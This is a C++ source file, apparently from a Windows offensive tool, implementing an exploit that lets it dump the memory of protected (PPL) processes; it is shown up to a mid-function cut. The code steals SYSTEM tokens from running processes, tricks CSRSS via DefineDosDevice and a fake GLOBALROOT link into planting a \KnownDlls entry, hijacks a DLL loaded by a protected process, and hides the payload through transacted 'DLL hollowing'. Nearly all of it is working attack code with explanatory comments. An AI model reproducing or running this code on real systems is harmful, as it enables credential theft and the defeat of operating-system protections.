Files
2021-04-07 15:12:47 +02:00

1255 lines
36 KiB
C++

#include "exploit.h"
_Success_(return)
BOOL DumpProcess(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath)
{
BOOL bReturnValue = FALSE;
BOOL bCurrentUserIsSystem = FALSE;
HANDLE hSystemToken = NULL;
BOOL bImpersonationActive = FALSE;
// STEP 1
LPCWSTR pwszKnownDllsObjDir = L"\\GLOBAL??\\KnownDlls";
HANDLE hKnownDllsObjDir = NULL;
// STEP 2
LPWSTR pwszDllToHijack = NULL;
LPWSTR pwszDllLinkName = NULL;
HANDLE hDllLink = NULL;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
// STEP 3
LPCWSTR pwszFakeGlobalrootLinkName = L"\\??\\GLOBALROOT";
LPCWSTR pwszFakeGlobalrootLinkTarget = L"\\GLOBAL??";
HANDLE hFakeGlobalrootLink = NULL;
HANDLE hLocalServiceToken = NULL;
// STEP 4
LPWSTR pwszDosDeviceName = NULL;
LPWSTR pwszDosDeviceTargetPath = NULL;
// STEP 5
LPWSTR pwszSectionName = NULL;
HANDLE hDllSection = NULL;
// STEP 6
LPWSTR pwszCommandLine = NULL;
HANDLE hCurrentToken = NULL;
HANDLE hNewProcessToken = NULL;
HANDLE hNewProcess = NULL;
DWORD dwExitCode = 0;
// SYNCHRONIZATION
HANDLE hEventDllLoaded = NULL, hEventDumpSuccess = NULL;
BOOL bDllLoaded = FALSE, bDumpSuccess = FALSE;
WCHAR wszEventName[MAX_PATH] = { 0 };
LPWSTR pwszGuid = NULL;
DWORD dwWait = 0;
PrintDebug(L"Check requirements\n", bCurrentUserIsSystem);
if (!CheckRequirements())
goto end;
PrintVerbose(L"[*] Requirements OK\n");
PrintDebug(L"Get the name of the DLL to hijack\n");
if (!GetHijackableDllName(&pwszDllToHijack))
goto end;
PrintVerbose(L"[*] DLL to hijack: %ws\n", pwszDllToHijack);
if (!IsCurrentUserSystem(&bCurrentUserIsSystem))
goto end;
if (g_bDebug)
PrintVerbose(L"[*] Current user is SYSTEM? -> %ws\n", bCurrentUserIsSystem ? L"TRUE" : L"FALSE");
//
// 1. Create the object directory '\GLOBAL??\KnownDlls'.
//
// When executed as an administrator, this fails (access denied). Thanks to WinObj, we can
// see that Administrators do have the "Add Object" right but the corresponding ACE applies
// to child objects only, which means that they cannot add objects in the directory
// '\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will
// search for SYSTEM tokens among the running processes and steal one. This requires both
// SeImpersonatePrivilege and SeDebugPrivilege.
// Note: as long as the object is not marked as "permanent", we do not need to remove it
// manually. When we close the last handle, the object is removed automatically.
//
if (!bCurrentUserIsSystem)
{
if (!ImpersonateSystem(&hSystemToken))
goto end;
bImpersonationActive = TRUE;
PrintVerbose(L"[*] Impersonating SYSTEM...\n");
}
PrintDebug(L"Create object directory '%ws'...\n", pwszKnownDllsObjDir);
if (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir)))
goto end;
PrintVerbose(L"[*] Created Object Directory: '%ws'\n", pwszKnownDllsObjDir);
//
// 2. Create a symlink in '\GLOBAL??\KnownDlls\' with the name of a DLL to hijack. The target
// of the link doesn't matter.
//
// The next steps will allow us to trick the CSRSS service into opening the symbolic link
// '\GLOBAL??\KnownDlls\FOO.dll' instead of '\KnownDlls\FOO.dll' while impersonating the
// caller. That's why we need to create this symbolic link beforehand. As the service will
// just open the object itself, its target does not matter.
//
pwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszDllLinkName)
goto end;
StringCchPrintf(pwszDllLinkName, MAX_PATH, L"%ws\\%ws", pwszKnownDllsObjDir, pwszDllToHijack);
PrintDebug(L"Create symbolic link '%ws'...\n", pwszDllLinkName);
if (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, L"foo123")))
goto end;
PrintVerbose(L"[*] Created Symbolic link: '%ws'\n", pwszDllLinkName);
//
// 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT'
// pointing to '\GLOBAL??'
//
// The idea here is to create a "fake" GLOBALROOT that will point to a location we control
// because, at step 4, the CSRSS service will try to open '\??\GLOBALROOT\...' while
// impersonating the caller. '\??' represents the current user's DOS device directory. For
// SYSTEM, '\??' points to '\GLOBAL??' so '\??\GLOBALROOT' is '\GLOBAL??\GLOBALROOT', which
// is the actual GLOBALROOT. Therefore the trick would not work.
// However, for users other than SYSTEM, '\??' points to a dedicated DOS device directory
// such as '\Sessions\0\DosDevices\00000000-XXXXXXXX'. Therefore, we can create a fake
// GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so
// that '\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT' -> '\GLOBAL??',
// '\??\GLOBALROOT' will actually point to '\GLOBAL??' instead of '\GLOBAL??\GLOBALROOT' in
// our context.
// To summarize:
// - If SYSTEM: '\??\GLOBALROOT' -> ''
// - Else: '\??\GLOBALROOT' -> '\GLOBAL??' (because of our symbolic link)
// Which means that:
// - If SYSTEM: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\KnownDlls\FOO.DLL'
// - Else: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\GLOBAL??\KnownDlls\FOO.DLL'
//
// So, at this step, we need to:
// - revert to self if we impersonated SYSTEM as an administrator;
// - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.
//
if (bCurrentUserIsSystem)
{
//
// If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the
// the impersonated user will not have sufficient access on the symbolic link we just
// created and the DefineDosDevice call will fail with an "Access Denied" error. Therefore
// we need to edit the ACL of the object first.
//
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);
sa.nLength = sizeof(sa);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
PrintDebug(L"Set a NULL DACL on '%ws'\n", pwszDllLinkName);
if (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd))
{
PrintLastError(L"SetKernelObjectSecurity");
goto end;
}
if (!ImpersonateLocalService(&hLocalServiceToken))
goto end;
bImpersonationActive = TRUE;
PrintVerbose(L"[*] Impersonating LOCAL SERVICE...\n");
}
else
{
if (!RevertToSelf())
goto end;
bImpersonationActive = FALSE;
}
PrintDebug(L"Create symbolic link '%ws -> %ws'...\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
if (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget)))
goto end;
PrintVerbose(L"[*] Created symbolic link: '%ws -> %ws'\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
//
// 4. Call DefineDosDevice specifying a device name of "GLOBALROOT\KnownDlls\FOO.DLL" and a target
// path of a location that the user can create section objects inside.
//
// This still need to be executed as a user other than SYSTEM, so that all the symbolic links
// are properly followed. This is the "fun" part. DefineDosDevice actually results in an RPC
// call to the CSRSS service. On server side, here is how the device name will be interpreted:
// a. it receives the device name as the second argument;
// >>> GLOBALROOT\KnownDlls\FOO.DLL
// b. it will first prepend it with '\??\';
// >>> \??\GLOBALROOT\KnownDlls\FOO.DLL
// c. it will try to open the symbolic link while impersonating the client, the call succeeds
// because we control this symlink (step 1)
// >>> \GLOBAL??\KnownDlls\FOO.DLL (\??\GLOBALROOT -> \GLOBAL??)
// d. it checks whether the path starts with \GLOBAL??\ to determine if it's global;
// e. as it does, it rewrites the path and prepends it with '\GLOBAL??\', considers the link
// as global and disables impersonation;
// >>> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.DLL
// f. but \GLOBAL??\GLOBALROOT, which is the real GLOBALROOT
// >>> \KnownDlls\FOO.DLL
// g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore
// creates a symlink inside '\KnownDlls\' with an arbitrary name and an arbitrary target
// path.
//
// /!\ The purpose of the initial open operation is to delete the symlink and this is always
// done while impersonating the user. Therefore we won't be able to delete the symlink
// that was created in \KnownDlls\. We will have to remove it once we are running code
// inside a PPL with WinTCB level.
//
pwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
pwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszDosDeviceName || !pwszDosDeviceTargetPath)
goto end;
StringCchPrintf(pwszDosDeviceName, MAX_PATH, L"GLOBALROOT\\KnownDlls\\%ws", pwszDllToHijack);
//StringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L"\\BaseNamedObjects\\%ws", pwszDllToHijack);
StringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L"\\KernelObjects\\%ws", pwszDllToHijack);
PrintDebug(L"Call DefineDosDevice to create '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
if (!DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath))
{
PrintLastError(L"DefineDosDevice");
if (!g_bForce || GetLastError() != ERROR_ALREADY_EXISTS)
goto end;
}
PrintVerbose(L"[*] DefineDosDevice OK\n", pwszDllToHijack, pwszDosDeviceTargetPath);
//
// Make sure the link was really created as a consequence of the DefineDosDevice call. But
// first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.
//
if (bCurrentUserIsSystem)
{
if (!RevertToSelf())
{
PrintLastError(L"RevertToSelf");
goto end;
}
bImpersonationActive = FALSE;
}
else
{
PrintDebug(L"Impersonate SYSTEM again\n");
if (!Impersonate(hSystemToken))
goto end;
bImpersonationActive = TRUE;
PrintVerbose(L"[*] Impersonating SYSTEM...\n");
}
PrintDebug(L"Check whether the symbolic link was really created in '\\KnownDlls\\'\n");
if (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath))
{
PrintVerbose(L"[-] The symbolic link '\\KnownDlls\\%ws' was not created.\n", pwszDllToHijack);
goto end;
}
PrintVerbose(L"[+] The symbolic link was successfully created: '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
//
// 5. Create the image section object at the target location for an arbitrary DLL.
//
// Final piece of the puzzle. Now that we have a symbolic link in \KnownDlls that points to
// an arbitrary location, we just have to create a new Section at this location and map our
// payload DLL.
//
pwszSectionName = pwszDosDeviceTargetPath;
PrintDebug(L"Map our DLL to section '%ws'\n", pwszSectionName);
if (!MapDll(pwszSectionName, &hDllSection))
goto end;
PrintVerbose(L"[*] Mapped payload DLL to: '%ws'\n", pwszSectionName);
//
// Prepare synchronization objects.
//
MiscGenerateGuidString(&pwszGuid);
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", pwszGuid);
if (!(hEventDllLoaded = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
PrintLastError(L"CreateEvent");
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", pwszGuid);
if (!(hEventDumpSuccess = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
PrintLastError(L"CreateEvent");
//
// 6. Create a PPL process and hijack one of the DLLs it tries to load
//
// First we need to prepare the command line that we are going to execute. The ID of the
// target process to dump and the path of the dump file should respectively be passed as the
// first and second argument.
// Then we need to get a SYSTEM token to start our new process. If the current process was
// started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to
// copy the current thread's token.
// Finally, we can start our protected process with the prepared command line and the
// duplicated token.
//
if (!PrepareCommandLine(dwProcessId, pwszFilePath, pwszGuid, &pwszCommandLine))
goto end;
if (bCurrentUserIsSystem)
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))
{
PrintLastError(L"OpenProcessToken");
goto end;
}
}
else
{
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))
{
PrintLastError(L"OpenThreadToken");
goto end;
}
}
PrintDebug(L"Enable privilege %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME);
if (!TokenCheckPrivilege(hCurrentToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE))
goto end;
PrintDebug(L"Create a primary token\n");
if (!DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken))
{
PrintLastError(L"DuplicateTokenEx");
goto end;
}
PrintDebug(L"Create protected process with command line: %ws\n", pwszCommandLine);
if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &hNewProcess))
goto end;
PrintVerbose(L"[*] Started protected process, waiting...\n");
WaitForSingleObject(hNewProcess, INFINITE);
bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;
bDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0;
PrintDebug(L"Unmap section '%ws'...\n", pwszSectionName);
UnmapDll(hDllSection);
if (!GetExitCodeProcess(hNewProcess, &dwExitCode))
{
PrintLastError(L"GetExitCodeProcess");
goto end;
}
PrintDebug(L"Process exit code: %d\n", dwExitCode);
if (dwExitCode != 0)
wprintf(L"[!] Unexpected exit code: %d\n", dwExitCode);
bReturnValue = bDumpSuccess;
if (bDumpSuccess)
{
wprintf(L"[+] Dump successfull! :)\n");
}
else
{
if (bDllLoaded)
wprintf(L"[-] The DLL was loaded but something went wrong. :/\n");
else
wprintf(L"[-] The DLL was not loaded. :/\n");
}
end:
if (bImpersonationActive)
RevertToSelf(); // If impersonation was active, drop it first
if (hEventDllLoaded)
CloseHandle(hEventDllLoaded);
if (hEventDumpSuccess)
CloseHandle(hEventDumpSuccess);
if (pwszGuid)
LocalFree(pwszGuid);
if (hNewProcessToken)
CloseHandle(hNewProcessToken);
if (pwszCommandLine)
LocalFree(pwszCommandLine);
if (pwszDosDeviceName)
LocalFree(pwszDosDeviceName);
if (pwszDosDeviceTargetPath)
LocalFree(pwszDosDeviceTargetPath);
if (hDllLink)
CloseHandle(hDllLink);
if (pwszDllLinkName)
LocalFree(pwszDllLinkName);
if (hKnownDllsObjDir)
CloseHandle(hKnownDllsObjDir);
if (hLocalServiceToken)
CloseHandle(hLocalServiceToken);
if (hSystemToken)
CloseHandle(hSystemToken);
if (pwszDllToHijack)
LocalFree(pwszDllToHijack);
return bReturnValue;
}
_Success_(return)
BOOL DumpProcessByName(_In_ LPWSTR pwszProcessName, _In_ LPWSTR pwszFilePath)
{
DWORD dwProcessId = 0;
if (ProcessGetPIDFromName(pwszProcessName, &dwProcessId))
{
PrintVerbose(L"[*] Found a process with name '%ws' and PID %d\n", pwszProcessName, dwProcessId);
return DumpProcess(dwProcessId, pwszFilePath);
}
return FALSE;
}
_Success_(return)
BOOL CheckRequirements()
{
DWORD dwFailCount = 0;
HANDLE hProcessToken = NULL;
HANDLE hTargetProcess = NULL;
BOOL bIsSystem = FALSE;
DWORD dwProcessId = 0;
DWORD dwProcessProtectionLevel = 0;
LPWSTR pwszProcessProtectionName = NULL;
DWORD dwProcessIntegrityLevel = 0;
LPCWSTR ppwszRequiredPrivileges[2] = { SE_DEBUG_NAME, SE_IMPERSONATE_NAME };
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
{
dwFailCount++;
}
else
{
for (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++)
{
if (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE))
{
dwFailCount++;
wprintf(L"[-] A privilege is missing: %ws\n", SE_DEBUG_NAME);
}
}
CloseHandle(hProcessToken);
}
// Is SYSTEM or admin elevated?
IsCurrentUserSystem(&bIsSystem);
if (!bIsSystem)
{
if (!ProcessGetIntegrityLevel(GetCurrentProcessId(), &dwProcessIntegrityLevel))
{
dwFailCount++;
wprintf(L"[-] Failed to get process integrity level\n");
}
else
{
if (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
{
dwFailCount++;
wprintf(L"[-] Insufficient process integrity level\n");
}
}
}
// Check windows version >= 8.1
if (!IsWindows8Point1OrGreater())
{
dwFailCount++;
wprintf(L"[-] This version of Windows is not supported\n");
}
// Check if target dump file already exists
if (GetFileAttributes(g_pwszDumpFilePath) != INVALID_FILE_ATTRIBUTES)
{
dwFailCount++;
wprintf(L"[-] The target dump file '%ws' already exists\n", g_pwszDumpFilePath);
}
if (g_pwszProcessName != NULL)
{
if (!ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))
{
dwFailCount++;
}
}
else if (g_dwProcessId != 0)
{
dwProcessId = g_dwProcessId;
}
// Make sure target process is a PPL
if (dwProcessId != 0)
{
if (!ProcessGetProtectionLevel(dwProcessId, &dwProcessProtectionLevel))
{
//dwFailCount++;
wprintf(L"[!] Failed to get the protection level of process with PID %d\n", dwProcessId);
}
else
{
ProcessGetProtectionLevelAsString(dwProcessId, &pwszProcessProtectionName);
PrintDebug(L"Target process protection level: %d - %ws\n", dwProcessProtectionLevel, pwszProcessProtectionName);
if (pwszProcessProtectionName)
LocalFree(pwszProcessProtectionName);
if (
dwProcessProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_PPL_APP
)
{
wprintf(L"[-] Process with ID %d is not a PPL\n", dwProcessId);
}
}
}
else
{
dwFailCount++;
}
#if _WIN64
//
// A 64-bits executable cannot run on a 32-bits arch so no check is required here.
//
#elif _WIN32
//
// We need to make sure the system's arch is 32-bits as well because we embed only the x86 version
// of our payload DLL.
//
if (MiscSystemArchIsAmd64())
{
dwFailCount++;
wprintf(L"[-] This system architecture is not supported. Please use the 64-bits version instead.\n");
}
#else
dwFailCount++;
wprintf(L"[-] This system architecture is not supported.\n");
#endif
return dwFailCount == 0;
}
_Success_(return)
BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)
{
BOOL bReturnValue = FALSE;
HANDLE hProcessToken = NULL;
LPWSTR pwszStringSid = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken))
{
PrintLastError(L"OpenProcessToken");
goto end;
}
if (!TokenGetSidAsString(hProcessToken, &pwszStringSid))
goto end;
*pbResult = _wcsicmp(pwszStringSid, L"S-1-5-18") == 0;
bReturnValue = TRUE;
end:
if (pwszStringSid)
LocalFree(pwszStringSid);
if (hProcessToken)
CloseHandle(hProcessToken);
return bReturnValue;
}
_Success_(return)
BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)
{
if (!ppwszDllName)
return FALSE;
*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
if (!*ppwszDllName)
return FALSE;
if (IsWindows10OrGreater())
{
StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN10);
return TRUE;
}
if (IsWindows8Point1OrGreater())
{
StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN81);
return TRUE;
}
LocalFree(*ppwszDllName);
return FALSE;
}
//_Success_(return)
//BOOL WritePayloadDll(_In_ LPWSTR pwszPath)
//{
// BOOL bReturnValue = FALSE;
//
// HRSRC hResource = NULL;
// HGLOBAL hResourceData = NULL;
// DWORD dwResourceSize = 0;
// LPVOID lpData = NULL;
//
// HANDLE hFile = NULL;
// DWORD dwBytesWritten = 0;
//
// if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
// {
// PrintLastError(L"FindResource");
// goto end;
// }
//
// if (!(dwResourceSize = SizeofResource(NULL, hResource)))
// {
// PrintLastError(L"SizeofResource");
// goto end;
// }
//
// if (!(hResourceData = LoadResource(NULL, hResource)))
// {
// PrintLastError(L"LoadResource");
// goto end;
// }
//
// if (!(lpData = LockResource(hResourceData)))
// {
// PrintLastError(L"LockResource");
// goto end;
// }
//
// if ((hFile = CreateFile(pwszPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
// {
// PrintLastError(L"CreateFile");
// goto end;
// }
//
// if (!WriteFile(hFile, lpData, dwResourceSize, &dwBytesWritten, NULL))
// {
// PrintLastError(L"WriteFile");
// goto end;
// }
//
// if (dwBytesWritten != dwResourceSize)
// {
// wprintf(L"[-] The embedded DLL was not correctly written to Disk\n");
// goto end;
// }
//
// bReturnValue = TRUE;
//
//end:
// if (hFile)
// CloseHandle(hFile);
//
// return bReturnValue;
//}
_Success_(return)
BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)
{
BOOL bReturnValue = FALSE;
HRSRC hResource = NULL;
HGLOBAL hResourceData = NULL;
DWORD dwResourceSize = 0;
LPVOID lpData = NULL;
if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
{
PrintLastError(L"FindResource");
return FALSE;
}
if (!(dwResourceSize = SizeofResource(NULL, hResource)))
{
PrintLastError(L"SizeofResource");
return FALSE;
}
if (!(hResourceData = LoadResource(NULL, hResource)))
{
PrintLastError(L"LoadResource");
return FALSE;
}
if (!(lpData = LockResource(hResourceData)))
{
PrintLastError(L"LockResource");
return FALSE;
}
*ppBuffer = lpData;
*pdwSize = dwResourceSize;
return TRUE;
}
_Success_(return)
BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath)
{
BOOL bReturnValue = FALSE;
WCHAR wszSearchPath[MAX_PATH] = { 0 };
WCHAR wszFilePath[MAX_PATH] = { 0 };
WIN32_FIND_DATA wfd = { 0 };
HANDLE hFind = NULL;
HANDLE hFile = NULL;
PSID pSidOwner = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
DWORD dwFileSize = 0;
PSID pSidTarget = NULL;
ConvertStringSidToSid(L"S-1-5-18", &pSidTarget);
GetSystemDirectory(wszSearchPath, MAX_PATH); // C:\Windows\System32
StringCchCat(wszSearchPath, MAX_PATH, L"\\*.dll"); // C:\Windows\System32\*.dll
if ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE)
{
do
{
GetSystemDirectory(wszFilePath, MAX_PATH);
StringCchCat(wszFilePath, MAX_PATH, L"\\");
StringCchCat(wszFilePath, MAX_PATH, wfd.cFileName);
if (hFile = CreateFile(wszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))
{
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize)
{
if (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS)
{
if (TokenCompareSids(pSidOwner, pSidTarget))
{
*ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (*ppwszFilePath)
{
StringCchPrintf(*ppwszFilePath, MAX_PATH, L"%ws", wszFilePath);
bReturnValue = TRUE;
}
}
}
}
CloseHandle(hFile);
}
} while (FindNextFileW(hFind, &wfd) && !bReturnValue);
FindClose(hFind);
}
return bReturnValue;
}
_Success_(return)
BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)
{
//
// This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr
// in this blog post: Masking Malicious Memory Artifacts Part I: Phantom DLL Hollowing
// https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing
// This trick is awesome! :)
//
// Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file
// as a transaction operation. Then, we replace the content of the DLL with our own. To so, we
// search for an existing DLL file in C:\Windows\System32. We assume we are executing this code
// as SYSTEM but still, this is not sufficient as we need to open the target file with write
// access even though the file will not be modified. As most of the files are owned by Trusted-
// Installer, we need to find one which is owned by SYSTEM and also make sure that it is big
// enough so that we can copy our own DLL.
//
// Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular
// file. But hey, this works just fine. ;)
//
BOOL bReturnValue = FALSE;
HRSRC hResource = NULL;
HGLOBAL hResourceData = NULL;
DWORD dwResourceSize = 0;
LPVOID lpData = NULL;
LPWSTR pwszTargetFile = NULL;
NTSTATUS status = 0;
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
HANDLE hTransaction = NULL;
HANDLE hTransactedFile = NULL;
DWORD dwBytesWritten = 0;
if (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))
{
dwResourceSize = SizeofResource(NULL, hResource);
if (hResourceData = LoadResource(NULL, hResource))
{
lpData = LockResource(hResourceData);
}
}
if (!lpData || !dwResourceSize)
return FALSE;
PrintDebug(L"Loaded payload DLL, image size: %d bytes\n", dwResourceSize);
//
// Find a legtimate DLL file to "hollow". It must not be owned by TrustedInstaller and it must
// be big enough so that we can copy our payload into the transacted file.
//
if (!FindFileForTransaction(dwResourceSize, &pwszTargetFile))
return FALSE;
PrintDebug(L"Found file for transaction: %ws\n", pwszTargetFile);
status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);
if (status != 0)
{
SetLastError(RtlNtStatusToDosError(status));
PrintLastError(L"NtCreateTransaction");
goto end;
}
//
// Open a legitimate DLL file as a transaction operation.
//
hTransactedFile = CreateFileTransacted(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
if (hTransactedFile == INVALID_HANDLE_VALUE)
{
PrintLastError(L"CreateFileTransacted");
goto end;
}
PrintDebug(L"Opened file '%ws' for transaction.\n", pwszTargetFile);
//
// Replace the content of the legitimate file with our own DLL payload. It's important to note
// that the file on disk is not altered.
//
if (!WriteFile(hTransactedFile, lpData, dwResourceSize, &dwBytesWritten, NULL))
{
PrintLastError(L"WriteFile");
goto end;
}
PrintDebug(L"Wrote %d bytes of embedded payload DLL to transacted file.\n", dwBytesWritten, pwszTargetFile);
*pdhFile = hTransactedFile;
bReturnValue = TRUE;
end:
if (pwszTargetFile)
LocalFree(pwszTargetFile);
return bReturnValue;
}
_Success_(return)
BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
{
BOOL bReturnValue = FALSE;
PSID pTargetSid = NULL;
PVOID pBuffer = NULL;
PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;
HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;
DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;
PSID pSidTmp = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
LPWSTR pwszUsername = NULL;
if (!ConvertStringSidToSid(pwszTargetSid, &pTargetSid))
goto end;
while (TRUE)
{
pBuffer = LocalAlloc(LPTR, dwBufSize);
if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)
break;
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);
if (NT_SUCCESS(status))
{
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
while (TRUE) {
if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))
{
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hTokenDup))
{
if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))
{
if (TokenCompareSids(pSidTmp, pTargetSid))
{
PrintDebug(L"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\n", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);
BOOL bTokenIsNotRestricted = FALSE;
TokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted);
if (bTokenIsNotRestricted)
PrintDebug(L"This token is not restricted.\n");
else
PrintDebug(L"This token is restricted.\n");
if (bTokenIsNotRestricted)
{
if (pwszPrivileges && dwPrivilegeCount != 0)
{
DWORD dwPrivilegeFound = 0;
for (DWORD i = 0; i < dwPrivilegeCount; i++)
{
if (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE))
dwPrivilegeFound++;
}
PrintDebug(L"Found %d/%d required privileges in token.\n", dwPrivilegeFound, dwPrivilegeCount);
if (dwPrivilegeFound == dwPrivilegeCount)
{
PrintDebug(L"Found a valid Token candidate.\n");
*phToken = hTokenDup;
bReturnValue = TRUE;
}
}
else
{
